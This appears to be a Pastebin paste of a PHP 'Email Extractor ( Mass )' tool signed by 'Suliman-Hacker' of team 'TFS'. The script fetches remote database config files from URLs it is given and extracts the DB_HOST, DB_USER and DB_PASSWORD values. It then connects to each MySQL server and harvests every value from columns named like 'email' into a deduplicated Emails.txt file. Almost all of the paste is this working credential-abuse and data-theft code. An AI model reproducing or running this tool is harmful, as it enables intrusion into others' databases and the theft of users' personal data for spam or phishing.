Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @set_time_limit(0);
- @error_reporting(0);
- if(!empty($_POST["Go"])){
- function check_url($sites){
- $ch1 = curl_init ("$sites");
- curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
- curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
- curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
- curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
- $data = curl_exec ($ch1);
- return $data;
- }
- function Regex($param, $kata1, $kata2){
- if(strpos($param, $kata1) === FALSE) return FALSE;
- if(strpos($param, $kata2) === FALSE) return FALSE;
- $start = strpos($param, $kata1) + strlen($kata1);
- $end = strpos($param, $kata2, $start);
- $return = substr($param, $start, $end - $start);
- return $return;
- }
- $conf = $_POST['config'];
- if($conf != ""){
- $config = explode("\r\n",$conf);
- foreach($config as $Done){
- $Done = trim($Done);
- $file = check_url($Done);
- $host = Regex($file,"DB_HOST', '","'");
- $username = Regex($file,"DB_USER', '","'");
- $password = Regex($file,"DB_PASSWORD', '","'");
- $db = Regex($file,"DB_NAME', '","'");
- if (@mysql_connect($host,$username,$password)){
- $res1 = mysql_query("SHOW DATABASES");
- echo '<textarea style="width:98%;" rows="25">';
- while ($row1 = mysql_fetch_assoc($res1)){
- $res2 = mysql_query("SHOW TABLES FROM " . $row1['Database']);
- while ($row2 = mysql_fetch_assoc($res2)){
- $res3 = mysql_query("SHOW COLUMNS FROM " . $row1['Database'] . "." . $row2['Tables_in_' . $row1['Database']]);
- while ($row3 = mysql_fetch_assoc($res3)) {
- if(strstr($row3['Field'], "email")) {
- $res4 = mysql_query("select " . $row3['Field'] ." FROM " . $row1['Database'] . "." . $row2['Tables_in_' . $row1['Database']]);
- while ($row4 = mysql_fetch_assoc($res4)) {
- if(!empty($row4[$row3['Field']])){
- if(strstr($row4[$row3['Field']], "@")){
- echo $row4[$row3['Field']] . "\n";
- $f=@fopen("Emails.txt","a+");
- @fwrite($f,$row4[$row3['Field']] . "\n");
- @fclose($f);
- }}}
- }
- }
- }
- }
- echo '</textarea>';
- $file = "Emails.txt";
- $text = @file($file) or die("could not read file");
- $unique = array_unique($text);
- $handle = fopen($file, "w") or die("could not open file for writing");
- foreach($unique as $line){
- fwrite($handle, $line);
- }
- fclose($handle);
- }}}}else{
- echo "
- <title>Email Extractor ( Mass ) - By - Suliman-Hacker</title>
- <p CENTER>Name : <font color='red'>Email Extractor ( Mass )</font></p>
- <p CENTER>Author : <font color='red'>Suliman-Hacker</font></p>
- <p CENTER>Team : <font color='red'>TFS</font></p>
- <p CENTER>Skype : <font color='red'>live:.km</font></p>
- <p CENTER>Facebook : <font color='red'><a href='https://www.facebook.com/suliman.gov.sa'>Here</font></a></p>
- <p CENTER>Greetz To : <font color='red'>19l <font color='black'>-</font> king-almafia <font color='black'>-</font> Lion.HackeR <font color='black'>-</font> RxR <font color='black'>-</font> salh <font color='black'>-</font> SaTtAr <font color='black'>-</font> m.e-dz <font color='black'>-</font> evil <font color='black'>-</font> scama <font color='black'>-</font> sayed <3 </font></p>
- <center>
- <h1>Email Extractor</h1>
- <form method='post'>
- Configs : <br>
- <textarea rows=12 cols=70 name='config'></textarea><br><br>
- <input type='submit' name='Go' value='Go!' style='width: 450px;'><br>
- </form>
- ";
- }
- echo '</center></div></center></body></html>';
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement